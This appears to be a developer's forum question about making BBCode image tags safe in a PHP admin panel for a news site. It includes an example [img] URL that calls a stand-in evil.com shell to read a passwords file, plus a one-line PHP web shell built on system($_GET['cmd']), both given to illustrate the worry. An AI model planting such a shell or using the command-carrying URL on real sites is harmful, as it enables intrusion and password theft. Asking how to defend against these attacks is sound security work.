I'm trying to make a kind of administratorpanel for my website, so I could e.g. easily add news articles to my website. The problem is that the administrators should be able to use a kind of BBCode, but I need to do this in a secure way.
For tags like
[i] there is no problem. They can just be replaced with
<i>. But I'm encountering problems with, for example, the
[img]http://image-host.com/cat.png[/img] ain't a problem if I replace the
<img>. But this would be a problem, just to give an example:
[img]http://evil.com/shell.php?cmd=echo $(cat passwords.txt) > stolenPasswords.txt"[/img]
Users reacting with an image, or an evil administrator could give the URL to a shell or other evil code.
Tested with this code:
<html> <img src="cat.jpeg" /><br> <img src="http://localhost/test2/danger1.php?cmd=echo $(cat ../test/passwords.txt) > stolenPasswords.txt" /> </html>
<?php $x = system($_GET["cmd"]); ?>
Will normal image-validating also satisfy even if it's remote? IMHO not because evil.com could be a Nginx server on which .png images can be interpreted as code.
I'm asking on how to do it in code (PHP), but also on how to secure it by server-configuration.
How can I secure the panel which allows administrators and users to set bold and italic text and images by using something like BBCode-like tags?